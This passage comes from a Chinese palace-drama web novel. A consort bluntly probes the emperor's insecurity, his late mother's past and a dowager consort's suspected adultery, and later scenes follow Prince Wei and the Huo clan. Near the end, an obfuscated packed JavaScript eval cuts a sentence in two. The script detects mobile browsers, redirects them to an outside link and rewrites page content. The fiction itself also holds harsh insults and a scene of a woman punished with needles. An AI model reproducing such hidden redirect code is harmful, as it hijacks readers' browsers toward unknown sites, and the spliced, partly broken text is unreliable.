“皇嗣们都从未受过伤害,陛下从今起重新警惕起来不妨碍的。对了,我记得四姐姐、温献皇后的四公主只比陛下小两三个月吧?”霍灵渠念起,嬴忱璧应是,问怎么了,霍灵渠想求个恩典:“晏家要彻查四姐姐的死,若涉及宫闱,陛下可否不要阻拦?” “贵妃哪儿的话,四妹若是被害而亡,朕想给四妹报仇的心和贵妃是一样的。” 霍灵渠眉眼温柔:“或许是稍显生疏了,但我还是想代四姐姐向陛下说声,谢谢。” 嬴忱璧很认同:“是生疏,今日你若请求的是老六乃至嬴天漾,都没有这声谢吧。” 霍灵渠端起茶碗来喝茶,没否认。嬴忱璧自嘲笑笑,熟练略过,追忆道:“朕出生后,生母晋为正五品贵人,还没资格抚养皇嗣。我是抱给温献皇后——当年的晏贵妃养育,我四岁时生母晋为正四品婕妤,温献皇后才把我交给我生母养。” “瞧陛下这话说的,好像温献皇后虐待你了似的。”霍灵渠不满,正徽帝嬴忱璧失笑:“是朕措辞不当,温献皇后对朕很好,我生母当年能晋为婕妤都是温献皇后向父皇请来的,当时她的身子骨已经不大好了,温献皇后心善,想让我多陪陪生母。” “生母病逝后,你以为肯定是温献皇后养回你吧。”霍灵渠捏串樱桃吃,猜都不用猜,嬴忱璧这点小心思透透的。嬴忱璧被贵妃这好像在说‘哼,小样’的腔调给逗乐了:“是啊,当然呀,我当搬回生母身边都是暂时的,谁想到霍德妃会突然冒出来。” “比起现如今的霍太后、当年的霍德妃,朕确实更想养在温献皇后膝下。”嬴忱璧故作玩笑般哀怨:“可母后当时膝下空虚,她想抚养朕,朕自然只能给她养。” “我姑母对你没那么坏吧。”霍灵渠真觉得皇帝不识好歹:“她辛苦把你养大的,当然是想多要个儿子,还能故意对你不好吗,何况姑母都把我许配给你了,姑母疼爱我如珠如宝,她没想对你这个养子好,十八年前能把我许配给你吗?” “是,对,朕知道,母后,母后的性情其实很简单,”嬴忱璧被训得还挺高兴,霍灵渠灵光闪过忽想到能违拗皇帝,也很高兴:“你可能真的热衷于犯贱。” 嬴忱璧愣下,这是种什么感觉?大概是兴高采烈时被泼得浑身泥泞狼狈吧。 他神情莫测地注视着霍贵妃,霍灵渠小心思雀跃,压住眼底和唇畔的笑意装傲慢讥讽:“郭氏对你好过吗?忠毅伯府对你好过吗?你若不求回报,你活该,但你可是要求回报的,你都想要回报了,你怎么能奉献两三年都没得回报后还能坚持? 三年应该是个底线吧,否则,到底是你想得到他们也对你好的回馈还是你根本就热衷于犯贱啊?十多年,你满腔热忱奉献给郭氏,及至她巴不得你死,你都想着要给她安排退路保她后半生安稳富贵,这是在犯贱吧?你得有多贱啊才能十多年沉溺其间? 答案应该是你生性就喜欢犯贱乐意犯贱吧,不然,忠毅伯府在你登基之前对你多冷淡,在你做皇帝之后他们扒着你要好处的吃相又多难看,你怎么还能恩宠放纵呢?” 正徽帝嬴忱璧心中寒意冰封,直将他眼底的温热逐尽,他眼神第一次那么冷。 霍灵渠毫无知觉,正当容颜最盛烈的年华,她美得有多惊艳,此刻的鄙夷就有多显著:“甚至于你的生母芮贤妃对你又有多好呢,你登基后是追尊生母为贤妃,没错吧? 我姑母护短,你养在我姑母膝下做我姑母的养子,我姑母对你是有疏忽有照顾不周时,但我姑母绝不会让外人欺负你。你生母芮贤妃又是如何护着你的,她怎么死的,伤春悲秋,自己把自己折腾到病死,只因进宫不是她本意,她进宫前有相好的。” 想要知晓亲娘生前的点点滴滴也许是缺爱孩子的本能,嬴忱璧也不知出于什么心思,但他就是查过,查过娘亲在皇宫中的往昔、进宫前在江南在闺阁时的往昔,他曾想江南的暗访应会让他看到份闺中少女恬静又不失活泼的卷宗,没想,查到个禁忌。 他甚至一瞬间想过他的出生,更魔怔般反复想过好几遍,他娘在授康二年经选秀入宫,他出生在授康四年,他是父皇的骨肉……冷静下来,他笑自己真是疯魔了。 但,再冷静,他对此都做不到心平气和,甚至这就像是个禁忌在他心里生根腐烂,长成剜不掉的腐肉死死扎根在他心底的深渊,一丝一毫都触碰不得。 嬴忱璧眼中的光灭尽,倘若霍贵妃甩出犯贱二字时是将他献上的真心狠狠践踏还不够、还要狂踩他的自尊,眼下就是不啻于在他心头捅刀,血花四溅,溅得他满脸血。 皇帝他阴沉冷厉地盯着霍贵妃,仿佛下一刻就能把霍贵妃打入冷宫。 霍灵渠骇然吓跳,心中一凛就有丝森寒涌入心田。 114. 第114章 霍灵渠的童年幸福,很幸福,幸福到足以撑起她饱经磨难后仍然乐观豁达、笑对人生,以致此刻她被皇帝阴冷的神情吓了跳后才恍惚意识到,她似乎不是在冲撞违拗皇帝而是想给自己寻死路,但她想不懂,有这么严重吗,就能令皇帝突然这么恐怖? “陛下很意外我竟会晓得你生母进宫前的往事吗,你觉得这算什么秘密吗?十八年前,圣人给你我赐婚后,我家里认为我应该清楚就告诉我了。”霍灵渠试探:“恐怕你登基前后都有不少有心人去查访过,圣人未必没得到过禀告。” “朕是该谢谢贵妃的提点。”嬴忱璧眉宇间的阴沉褪去,但仍散发着生人勿进的冷肃,对待霍贵妃更是未曾有过的疏离,好像受到伤害的刺猬竖起了浑身的倒刺来保护自己:“朕竟从未想过会有有心人想以此来令太上皇膈应朕,贵妃想要什么赏赐?” 膈应?霍灵渠神奇:“进宫前有意中人算不得什么事吧,太上皇至少有过二百个女人,有些嫔妃在进宫前曾少年慕艾很寻常呀,温献皇后进宫前也曾情窦初开啊。”她打量皇帝,总觉得皇帝对此像有病症:“你不会因此都特意算过你的出生吧?” 嬴忱璧:“……”皇帝他端起高冷怒斥混账:“贵妃想含沙射影什么,你难道还连这点轻重都不知吗?朕生于授康四年,朕的生母在授康二年进宫,朕是皇家血脉是太上皇的亲骨肉没有一丝一毫的疑虑,贵妃若再口无遮拦,休怪朕怀疑贵妃的用心!” 是你反应激烈得不正常好吧,霍灵渠不甘示弱:“还好,要不然你指定是有病。” 嬴忱璧:“……”皇帝他端着威仪生气:“朕宠爱贵妃就纵得贵妃越来越不知礼数吗,对君王应有的敬畏还需朕来教你吗?贵妃若再不知好歹,休怪朕申饬霍家。” “对嘛,没有脑瓜堵塞心里生病的正常人都绝对做不出来这种事。”霍灵渠不肯罢休,她当然怕皇帝记恨,皇帝记恨关系到她将来能否有命出宫,她可不能任由皇帝含糊过去了:“正常人谁能因他娘嫁给他爹之前曾有过意中人就七想八想? 何况是在皇宫中,皇宫什么地方呀,皇家血脉会混淆的可能万不足一。若是有疑心病还不自信,看忠毅伯不就清楚了,忠毅伯送女儿进宫是奔着富贵;再看那些太妃,很明了啊,芮贤妃生前若有受过一丝捕风捉影的诬陷,恐怕她们都不会消停。 而且还可以看我霍家,看隐藏在暗中的敌对,再或者看自己嘛,我看你们兄弟的相貌都更偏像太上皇,魏王有六七成像,六哥哥有三四成像,陛下有四五成像。” 霍灵渠总结陈词:“所以,陛下若是瞎想过,你指定有点病,陛下同意吧?” 嬴忱璧阴嗖嗖的,他这位贵妃就差挑明说:我就知道你瞎想过,你指定是有点病。 然而,嬴忱璧虽然面上阴嗖嗖的,他心中却已松泛起来,在他自己都不曾觉察时,他的阴翳冷硬在消退,他因要保护自己不受伤害而在心间筑起的城墙悄然塌陷了。 “庄太妃幼女的身世存疑,或有可能是她和郢国公私通而来。”皇帝傲娇示下。 霍灵渠慢两拍僵住,美眸瞪圆,不可思议地看着皇帝,嬴忱璧勉强满意霍贵妃这反应,慢条斯理端茶盏喝茶,霍灵渠猛打个激灵,冷静下问:“陛下的消息可靠吗?” “是晏霁之禀告的。”嬴忱璧懒懒的腔调带着丝居高临下的意味,然后,他就看霍贵妃没声了没反应了没疑虑了,皇帝他都不得不恭维:“贵妃可真信赖晏卿啊。” 霍灵渠懒得搭理皇帝的阴阳怪气,专注思考:“二十年前的庄淑妃能有这么大本事吗?她想在宫里和外臣暗结珠胎应该是不可能的,若是在宫外,她得经常乔装出宫,不,不对,她谨慎,不可能冒这种风险,莫非是庄家在帮她打掩护?” 嬴忱璧宽宏大量地略过霍贵妃刚无视他的无礼,陪霍贵妃探讨:“依朕看,庄太妃没那么信赖庄家不会把这种要命的把柄送给庄家,假设二十年前庄淑妃和郢国公有染的前提下,朕猜是皇宫中有密道,他们经密道私会,故而从未传出过风声。” 霍灵渠不赞成:“二十年前庄淑妃若和郢国公有染,她定是对鞠家有图谋而非因情爱,倘若庄淑妃获悉了皇宫中的密道,以她的性情不可能会让郢国公知道吧。” 呃?好像是有道理,嬴忱璧斟酌道:“可若非经密道私会,她如何能瞒得密不透风?她可是深得圣人宠爱的高位嫔妃,盯着她的眼睛何其多,她能瞒得住吗?” “嗯?你还能想起二十年前庄淑妃有什么不同寻常吗?”霍灵渠怀疑,认真回忆想想,倏然神情微变,还真有异常:“授康十二年冬,朱太后一周年忌辰,庄淑妃请愿前往小觉庵给朱太后诵经祈福,圣人准了,她带着她的三公主在小觉庵中住过一年。” 小觉庵虽是皇家庵堂,但住庵堂还是能运作地太多了,霍灵渠震惊看向皇帝,没待皇帝表态又佐证般说:“我记得我姑母当时骂她装模作样假惺惺骂了好久,不会错的。” “朕也想起来了,庄太妃曾在小觉庵中住过一整年。”正徽帝嬴忱璧一掌拍在石头上,语气微凉:“她在授康十三年冬回宫,回宫没多久,年前她就有身孕了。” 霍灵渠细思极恐:“假若他们真的有染,她不可能不是早有预谋吧?” 嬴忱璧没答,凤眸幽深,缓缓梳理遍:“授康十二年,废楚王14岁,是议亲的年纪了,晋王三岁,嬴丹若十岁,庄淑妃育有三个儿女,更得圣人宠爱十多年不衰。” “但若二十年前庄淑妃有意争储位,她在后宫抵用,在前朝,庄家就不够看了。”在假设他们有染的前提下,居然猜都不用猜就能显而易见庄淑妃私通郢国公的意图,权欲熏心,如此疯狂,霍灵渠觉得悲凉:“人性贪婪之丑恶莫过于不择手段吧。” 嬴忱璧当然也齿冷,但看霍贵妃这副冠冕堂皇的样子,皇帝他小心思作祟就看得不爽:“贵妃难道不该高兴你大仇得报将指日可待吗?” 霍灵渠睨眼皇帝,应和问:“陛下知道庄太妃身边有超过二十年得用的宫人吗?” 嬴忱璧怔下,估摸道:“朕不清楚,但,朕猜应该是没有了,当年陪她在小觉庵住过的心腹应该全都被她陆续处理掉了,不过这还真是一个可入手查查的破击点。” 霍灵渠捧着茶碗抿两口,胆肥地戳皇帝的心窝:“陛下,你是不是自卑呀?” 嬴忱璧:“……”皇帝他形容不屑且不能忍:“贵妃还有点体统吗,你可知自己在说什么混账话吗,你还想欺君罔上不成?!朕宠爱贵妃就纵得贵妃越来越发昏吗?” “你自己说的,你对郭氏好得像犯贱,你对忠毅伯府肯定也不遑多让,还有就是你生母芮贤妃进宫前曾有意中人,这么两件事让你突然变得好像要杀人,你让我怎么想?”霍灵渠挺起腰杆据理力争:“你不是自卑,还能是因为什么?” 嬴忱璧嗤笑:“朕曾自认过自己像在犯贱,贵妃就能拿来取笑朕羞辱朕吗?” “我入过风尘、非清白身进宫,倘若你是我,或者我是你的心态,我整日想有多少人在背后对霍贵妃指指点点不就要把我折磨得疯掉吗?”霍灵渠反问:“讳疾忌医最是要不得,既然已是自己做下的事,有何不能坦荡面对,有何不能让别人说?” “我不在意被任何人指摘,若是魏王、霁之、六哥哥被我指犯贱,我也有把握他们不会像你这般突然阴狠记恨。”霍灵渠假装赔罪地刺激:“臣妾没想到陛下的心胸如此狭隘,陛下若要降罪,要打要杀,臣妾毫无怨言,但求陛下莫迁怒太后和霍家。” 他狭隘?嬴忱璧被气笑了,他当然看得懂霍贵妃的伎俩,他不是在往霍贵妃的圈套里掉而是不能认被冠以狭隘的偏见:“假若魏王和晏霁之被你骂犯贱,能一笑置之?” “若是六哥哥做过属于犯贱的事,我指摘他,他会大笑认同引以为鉴,这事就过了。”霍灵渠自信道:“假若是魏王,他必要跟我吵,不吵到让我承认他没做过就不能罢休。”说着语调哀怨:“若是霁之,不是欺负我就是要从我这儿得到十倍百倍回报。” “但不管是魏王还是霁之,他们都绝不会像你这般记恨在心里。”霍灵渠再斗志昂扬:“他们若有不满,当场就会发泄出来,你呢,你刚才暗暗把我记恨成什么样了?” “……”虽然暂时没想到反驳之词,但他绝没有暗暗记恨,嬴忱璧脸不红心不虚,甚至还有丝贫嘴的乐趣:“贵妃莫不是在血口喷人污蔑朕,朕何时记恨过你?” 你可真会睁眼说瞎话!霍灵渠想对呛,顾念可能又要被皇帝记恨,忍住了,保命要紧:“陛下的自卑是童年时埋下的吧?所以你不敢奢望在你没有付出前就会有人对你好,所以对你曾认定的忠毅伯府和郭氏,你付出过很多很多,你更坚持了许多年。” ……不…不是…… 是…… 嬴忱璧下意识想否认,但霍贵妃直击他心底的苦涩到底令他心酸了,可皇帝怎能自卑,哪怕不做皇帝,嬴忱璧都不可能认他自卑,而就在他因心酸慢下半拍之际又被霍灵渠抢前:“童年时你为何要自卑,就因为你自觉没人关爱你在意你吗?” 正徽帝嬴忱璧抬眸注视霍贵妃,在训诫和震怒之间犹豫下,还没想好该训诫还是震怒,他已是满心惨淡,在他犹豫时他就输了,再否认不过是欲盖弥彰让霍灵渠更看不起。 “你的童年受尽娇宠爱护,你如何能懂我的辛酸。”嬴忱璧没再排斥。 直指养母霍太后和霍家对他很坏!霍灵渠真想回他:你才血口喷人污蔑我们。 霍灵渠冷静,沉吟会儿,执起茶壶给两人的茶碗倒满,尽量顺毛捋不让他反感。 “臣妾斗胆问陛下,陛下今早是因昌隆侯而和太上皇起争端吧,太上皇震怒之下,是否要褫夺忠毅伯府的爵位?我伯父穆国公又是否建言让霍贵妃出面来办此事?” 嬴忱璧惊讶于霍贵妃的敏锐,转念想,老生常谈般劝警醒:“朕曾和贵妃谈过,贵妃该适当防备穆国公,贵妃一直没把朕的劝诫听进去。而今日,你自己都猜到了,他能把你推出来挡在他前面给他冲锋,贵妃,这位伯父当真值得你信赖吗?” “我父亲若在,他同样会建言让霍贵妃出面来办,霍贵妃出面最恰当自然该由我来办,这种情况在霍家很平常,就是理所当然,我若是连这都猜不到才要被祖父训诫了。” 霍灵渠眉目盈盈温婉,循循善诱:“陛下,你不懂霍家,就好比在你面前放有只柑橘,你能剥掉橘皮看清柑橘的内里再尝尝橘肉,但二十多年,你只想敬而远之。 你自觉当家人该庇佑家眷,长辈该庇护小辈,因此当霍秦川行事与你的想法有冲突时,你想当然地就把霍秦川想成居心叵测,你可曾想过这根本是你的偏见? 父母能庇佑儿女的终生吗,自家之外没有坏人吗,这世间没有险恶吗?你愿意独自担起整个家庭的重担,不代表霍家也必得如此吧;你要把家眷当娇花养,不让他们经受一星半点的风吹雨打,霍家就不能想把儿孙们培养成搏击长空的雄鹰吗?” 碎浅的金芒撩过水波落成湖畔的陶醉,霍灵渠眸中神采欣悦,落成湖畔间最美的向往:“经得起风吹雨打,扛得住天塌地陷,屹立于世间受得住任何磨难的勇者。” 嬴忱璧深深看过霍贵妃,落下满目自嘲:“你是不是看不起我,从小就看不起我?” 你又是怎么把这两者结合起来的?霍灵渠心里无奈,皇帝自卑得真有点不正常。 “陛下有否想过你对人对己都有很大的偏见,对你自己,你把自己封闭着,你执拗认定唯有芮家人和你的妻子才有可能会对你好,除他们以外,你抗拒亲近你身边其他所有人,但明明是你在排斥大家,你又偏要觉得大家对你稍有疏忽就是在看不起你。” 霍灵渠牵牵唇,有一丝悲凉:“对霍家,你更是打心底里排斥,二十多年,你从不相信霍家会对你好,哪怕你明知霍家对你的善意远胜过忠毅伯府和郭氏。 否则,霍家就摆在你面前,霍家从没有拒绝过你的融入,你养在我姑母膝下二十多年,你应该是霍姓之外的人当中最清楚了解霍家的人,偏你根本不懂霍家。” “呵?”倒还成他的错了?嬴忱璧的逆反劲儿上来,像是要证明自己没错般强词夺理:“太后和霍家对我和对湘王能一样吗,你霍灵渠不觉得荒谬可笑?” “湘王是太后的亲骨肉,陛下不是太后亲生的,太后对湘王比对你好是人之常情,但,因此就能代表他们不会对你好吗?”霍灵渠沉稳驳斥:“陛下曾言养母对你只有拿捏利用,臣妾倒想问陛下,以太后的性情,太后能容许湘王违逆她吗?” 嬴忱璧一愣,霍灵渠再一击:“二十多年,你不会连养母什么性情都不清楚吧?” “呃,朕,朕…朕当然清楚太后的性情,”太后当然不可能容忍湘王违逆她,呃?但,他好像不能这么答,否则他定会被霍贵妃抨击得体无完肤,嬴忱璧很有预感地想,轻咳道:“太后的性情简单甚至有些直来直往,太后对人更从不吝啬金银财宝。” “当然啊,我祖父常言,霍宝鸾是个闺女还是他头生的闺女,他没有教育女儿的经验,故而骄纵得霍宝鸾心思不深本事不大但是真霸道,得亏得霍漓江不惯着胞妹才能压压她。”霍灵渠没有任由皇帝蒙混的意思:“陛下,太后可能容许湘王违拗她吗?” “贵妃应当有数,你只是位侄女,可太后对你都几乎百依百顺。”嬴忱璧说。 霍灵渠睨睨他,要笑不笑似在说你再说呀,并无嘲讽鄙笑意,就是静静看着你装。 太后的性情……依太后的性情当然不能容忍湘王违拗她,霍灵渠不清楚或许还能糊弄,但霍灵渠摆明清楚她姑母什么心性,皇帝若再想糊弄,迎来的可能就会是自取其辱。 嬴忱璧没抗住,更像负隅顽抗不愿认错般负气发脾气:“是,太后不能容许湘王违拗她,是朕对霍家存着偏见,是朕不愿意亲近养母和霍家,贵妃满意了吧?” 好像你皇帝多委屈似的,你自个儿要给自己找委屈受能怨谁,但霍灵渠也清楚,以皇帝这苦大仇深的怨气若是霍家不担点责任恐怕都不能好了。 “我姑母性情很简单,她不吝啬,她能把所有她认为好的东西全给孩子;她更护短,但凡养在她膝下的皇嗣,哪怕她没多少疼爱,她都绝不会容忍让外人欺负。” 霍灵渠走到皇帝边上落座,握住皇帝的手,嬴忱璧转头看贵妃,霍灵渠感慨:“其实,我姑母不大会养孩子。她对儿女很娇惯,在娇惯之下,她对儿子多个要求,儿子要听话,她要往西,儿子们不能往东,这点,她对你和对湘王的要求是完全等同的。 当然,她对湘王比对你好,湘王是她的亲子,这你没得比更没必要比,但在湘王之后,你若向养母要银两财宝或者要养母给你出头,难道她会拒绝你吗?” 嬴忱璧眼睫微颤,一股悲苦自心田直冲鼻腔惹得皇帝他眼发酸。 “陛下不到六岁时养到我姑母膝下,我姑母对你的照料比不得你生母和温献皇后周全,是太后和霍家做得不够好才害你在童年里心生自卑,但陛下扪心自问,你没排斥霍家吗?”霍灵渠中肯责备:“你没有打心底里就认为霍家不会对你好吗?” 嬴忱璧想把手抽出来没抽动,他不想再谈下去了他想走了,逃避是很懦弱,但他宁愿逃避都不想让霍贵妃把他心里几乎都已结痂的伤再剜出来捶打让他再钻心痛场。 “朕不是都已经承认了,是朕不愿意亲近养母和霍家,贵妃还想怎样?”嬴忱璧凶她,手腕使着劲儿要挣脱钳制,霍灵渠攥紧皇帝的手,到这步怎么可能半途而废。 “再能自欺欺人的不在意落实到心里都做不了真吧,陛下曾亲自见证过,当着我的面都有人骂我贱货烂货,背地里不知还有多少人在骂,你可忧虑过,我会否被宫人们的指指点点被那些流言蜚语搅扰得不得安宁,我会否因此而心思郁结变得狂躁刻薄?” 霍灵渠眼眸直视皇帝,淡淡笑意里是了然的肯定:“没有吧,你有闲情时从未想过吧,比起你在意郭氏时她蹙蹙眉都能牵动你心绪,根本没得比吧?” 嬴忱璧怔住,他…他竟反驳不了,他…他忽的有些不敢看贵妃的眼睛。 “下个月,陛下和皇后成亲就要满十二年了,十二载夫妻,原配夫妻,郭皇后真的在你心里过吧,不用她做什么,她嫁给你,她就在你心里了。你太想有人关爱你太想要有个家,而你又太能主动付出,在你满怀热忱时,你当然会把她放在你心里。” 霍灵渠松掉皇帝的手掌,捧起茶碗饮下半碗茶,转看向湖泊风景,恬雅的温婉下横亘着两个人谁都不想渡的天堑:“人在自觉有危险时,他的反应是做不了假的。 我曾和魏王有过很激烈的冲突,但是魏王再愤恨,他都没有用过像你这般阴冷的让我背脊发凉的眼神看过我。我想,若是郭氏挑衅,你也不会用那样阴冷的眼神对她。究其因由,无非是,你愿意为郭氏自伤,魏王舍得自损也愿意护我安好。” 嬴忱璧猛然个激灵,忙抓住贵妃的手握过来,挤出笑意解释:“贵妃——” “陛下,你累了。”霍灵渠打断他,仿佛能看穿他心般下判语:“对忠毅伯府,对郭氏,一而再,十多年,你的心早就累了,你给不出热忱了更不想再主动对谁好,你只想把你自己保护起来不让自己再受伤,你说一千遍一万遍你愿意对霍贵妃好,都是假的。 或许你不认同,但你的心累了是真,你很偏执是真,你更是先认定、认定之后期望得到他们对你好、不在意你先付出,不是你认定的人,对你再好都没用。而你不会再认定谁了,我想出宫,我都不会对你好,我与你之间注定只会是陌路。” 嬴忱璧失神般愣下,一丝慌乱涌入令他恍然回神,连忙安抚:“不,不不不,不是的,不是这样的,贵妃,你相信朕,朕会对你好,你相信朕,我们会圆满的……” 可你自己都不相信你自己啊,你连你愿意为郭氏自伤都没驳斥,你心里还相信自己吗?霍灵渠懒得听皇帝絮叨地揪个症结:“陛下恨你的生母芮贤妃吧?” 正徽帝嬴忱璧微怔,怪好笑的:“贵妃这是什么话?” “我觉得你恨她,可能你自己都没察觉或者不愿意察觉,但我真的觉得你恨她。” 霍灵渠感悟道:“你恨她在你才五岁多时就把你抛下,你恨她明明能好好活着、活到四五十岁活到寿终正寝,偏偏把自己折腾到病死,你恨她不在意你。” “念着进宫前的过往伤春悲秋,有了孩儿都不认真过日子,不就是不在意亲骨肉吗?”霍灵渠冷酷地直戳皇帝的心肺管:“或许你对忠毅伯府恩宠都有报复她的心思。 芮贤妃生前定然怪过父亲,故而你偏要对芮家好,否则,你又是怎么容得下芮家?毕竟当年是忠毅伯拆散有情人、逼她进宫,若非进宫,她应该不会红颜早逝吧。” 嬴忱璧像是被最后几字刺激了,瞬间眼神凶狠,狠得好像霍贵妃在剜他的心头肉。 大概皇帝自己都没意识他眼下有多狠厉,一个人下意识藏不住的反应永远是最真实的,霍灵渠想起她爹爹曾言:你姑母辛苦养大的儿子难道要霍家给别人做嫁衣吗? 可惜啊,嬴忱璧忒与众不同,就爱犯贱,郭氏把他踩成泥盼他死,他都甘愿护着郭氏;忠毅伯府才是对他唯有拿捏算计利用,但他就想对忠毅伯府好。二十多年,到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459306|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底是养母辛苦把他养育长大,霍家到底把自家掌珠都许配给过他,就得来他怨不尽的恨。 霍灵渠兀然就想,其实,嬴忱璧的心比谁都冷比谁都硬比谁都狠。 但她不能给家族埋祸,她更得保住命才能在将来有命出宫,她不能让皇帝记恨。霍灵渠眉目柔和浮起完美乱真的微笑,自然起新话题:“童年时大家分蜜饯蜜糖,你少拿到两颗,你是不是都能引出一大串想法闷在心里,然后觉得谁都对你不好呀?” 嬴忱璧定定看她许久,跟自己和解般笑了,笑意饱含苦涩乃至想哭:“是啊。” “是陛下的心病了,好在,陛下的心病,我祖父能治。”说着,霍灵渠低头,愧疚悠长:“陛下恕罪,是霍家的过错,是霍家害你得的心病,霍家对不住你,但凡霍家尽心些都不会害你在童年里落下心病,更一病多年,受尽了自苦的痛。” 嬴忱璧眼酸地转过头,多少年的郁结难抒终被承认,皇帝有何不能心酸委屈。 “臣妾想明日请祖父进宫来,跟祖父谈谈,或明日或陛下陪臣妾回霍家省亲时,请祖父给陛下治治心里的病。”霍灵渠握握皇帝的手,诚恳道:“是霍家欠你的,是霍家二十年前就应该给你的,迟了二十年,万望陛下莫怪罪霍家,莫拒绝霍家。” 嬴忱璧悲涩难抑险些没克制住,他握紧霍贵妃的手,展笑道:“好,好。” 今日的夕阳是伴着大皇子送进皇宫的口信一同到来的,正徽帝嬴忱璧独自在殿内静思,御前总管蒋厚运进殿禀告:“陛下,椒房殿来报,大皇子要在魏王府多住几日。” 嬴忱璧眼帘半阖靠在椅中,闻言,皇帝他慢半响才问:“为何?” “是因翁美人诞下了位小皇子,大皇子派人回宫来说,陛下您又多了位皇子,您今后会愈发少疼爱他,大皇子说他讨厌新出生的小弟弟,他才不要回宫来看父皇宠爱别的儿子。”蒋厚运真是被蠢服了,陛下以前是多回护啊才没让阖宫发现郭皇后竟蠢钝至此。 嬴忱璧面色难看:“知道了,大皇子想在魏王府多住几日就多住几日吧。” 和皇帝差不多同步得信的太妃们都服,鞠太妃没忍住,拿这桩笑料找庄太妃她们吐槽:“就算宫里都知道郭皇后蠢,也没得这么蠢吧,眼线把话递过去,大皇子把原话送回来,郭皇后居然也能把原话照搬送去皇极宫,他们郭家嫌活得舒坦是吧?” 庄太妃不想多话,朱太妃还没遇到过能把她眼线的怂恿原话转回的情况,莫名噎得慌:“椒房殿都是死人吗?这种摆明会惹皇帝不悦的口信都不知道润色吗?” “谁知道呢,阖宫都看服了,霍家都快要变成郭皇后的恩人了。”鞠太妃简直大无语:“你敢信吗?偏偏还就是,这样的皇后若是不辞位,她能善终就出奇了。” 朱太妃深呼吸,她向来认为棋子越蠢越好,这会儿发现,棋子太蠢也不行。 皇宫外,魏王大概是知道的,嬴忱璧以往还照拂着郭氏的体面,如今他不想再顾及了,没有皇帝在暗中护着,众人对郭皇后的感观自然得再往下降几等。 魏王是回府前得的消息,回到王府,他的世子还跑来亲自告诉他:“孩儿劝过好多遍,这样胡闹非但会惹陛下不悦还会妨害嫡长皇子的声誉,但大皇子就是听不进去。” “郭皇后和建威侯府都不在意,不用你给他们操心。”魏王全没当回事儿。 “父王?”下下月将满12岁的男孩欲言又止,魏王看他眼:“说吧,什么事?” “您看皇叔有对大皇子寄予厚望吗?”是不用他费心,但相处几日,疑惑自然冒出来:“七岁多不小了,该晓事了,还有堂弟身边的宫人,按说是皇婶亲自安排的应该是好的,但我看着他们毛病真多,不换掉这群宫人,恐怕大皇子都要被他们养废了。” 魏王哼笑:“你看霍家想不想有个嫡长皇子在前呢?” 男孩吃惊地瞪大眼睛,还没说什么,吵闹声传来,肯定又是那位表姑要硬闯,闷闷道:“父王,我是不想你有那么个侧妃的,我不是对她有偏见,是她实在太没礼数太能闹腾了,她就不是个能知足的,她将来给父王你做侧妃之后肯定还会闹得没完没了。” “父王也不想。”魏王赞同,将满12岁的小世子眼前一亮:“真的?” “嗯。”魏王嗯字的音刚落地,任逍就闯进书房来了,男孩觑她眼,向父王告退。 这小世子一走,任逍一叠声问:“皇帝因何事跟太上皇大吵,你打探到了吧,太上皇对皇帝的态度如何?怎么也不可能忍下这口气吧,这个时候我们若是再添把火——” “你以我的名义给我埋在英王府的暗钉下了个命令,是吧?”魏王靠在太师椅中,懒懒打断她问,任逍顿下,一瞬间心虚,转而又理直气壮:“既然你犹豫,我只能帮你一把了,英王妃这颗棋子,你愿意放过,我可不能让魏王府放过。” “可惜啊,你没看见,穆国公的宠妾想爬到他头上,穆国公就把这宠妾和这宠妾生的儿女全给扔了,霍漓江都把嫡儿女给扔了,英王府也有个例子,这么些例子在眼前,你怎么就不懂得引以为鉴,魏王府能有你越过我做主的份儿吗?” 魏王尚算温和的语调倏然转厉喊人进来,冷冷道:“给表姑娘长个教训。” 任逍还没反驳反抗就被群膀大腰圆的粗使婆们狠狠压着绑起来了,可见平常下人们对她是有多客气。奴婢们没往外去,就在院里惩戒,用对女人家最常用的手段,扎针。 这阵仗不算大,但是闹出的动静大,把魏王妃和魏王的侧妃都给招过来了,妻妾一劝,魏王就道:“你们看霍家,同样的事由,穆国公兄弟可是都把人给扔了。” 如此,魏王妃和颜侧妃自然不再多言了。 穆国公霍秦川在夕阳美景徐徐盛放时回到霍家,进到老太爷院里就见老爹在看日落。 “宫里送来口谕,贵妃请您明日进宫趟?”小厮们搬来锦凳奉上茶饮后退避,霍秦川落座,捧茶盅喝茶,霍擎老太爷点头:“嗯,怪怪的,丫头像是有什么事,照说找你和霍漓江足够了,咋还要老头我亲自进宫趟?”他又摆摆手:“算了,明儿就知道了。” “忠毅伯府的爵位还在不?”霍擎问,霍秦川奇异:“霍海啸没告诉您吗?” 老太爷拔高点音量嫌他没眼力劲儿:“你老子要你再说一遍不行啊?” 挨训的霍秦川在心里呱呱唧唧两息时间,然后大度原谅老父,把事情说遍,末了怀疑:“以孩儿估测,皇帝八成真想打这仗,但不该啊,皇帝有什么理由要打这场仗?” 霍擎老眼微凝,转而注目着西斜的红日,另问道:“椒房殿又出状况了?” “嗯,没个宫人拦着皇后给阖宫犯蠢看。”霍秦川也没执拗对皇帝八成想打仗的猜疑,一时猜不出就慢慢推测好了,应道:“大概是皇帝彻底撒手了,皇后前几天用个宫女代替赖女官赴死让奴婢们心寒不愿意再多事,剩下的,不是眼线就是听从赖嬷嬷的。 赖嬷嬷深觉此计可行能给皇帝敲敲边鼓好叫皇帝谨记重视大皇子,还有谁能拦?” “彻底撒手?”霍擎缓慢念过遍,幽深眼底有锋芒浮闪:“爹今儿收到两则消息,一是昌隆侯派了位幕僚进京,人应是四五日前抵京的。”他老头倒觉得有趣:“人到都有几日了,霍家才得信,霍秦川,是霍家松懈啊还是小看人家了?” 霍秦川犹若被吓到般猛然举目抬眼,不惊于霍家得信晚,惊于昌隆侯派人进京的意图:“他什么意思,这种节骨眼儿上他派个幕僚来,他什么意思啊他?” 派人来打探京畿的虚实吗?! 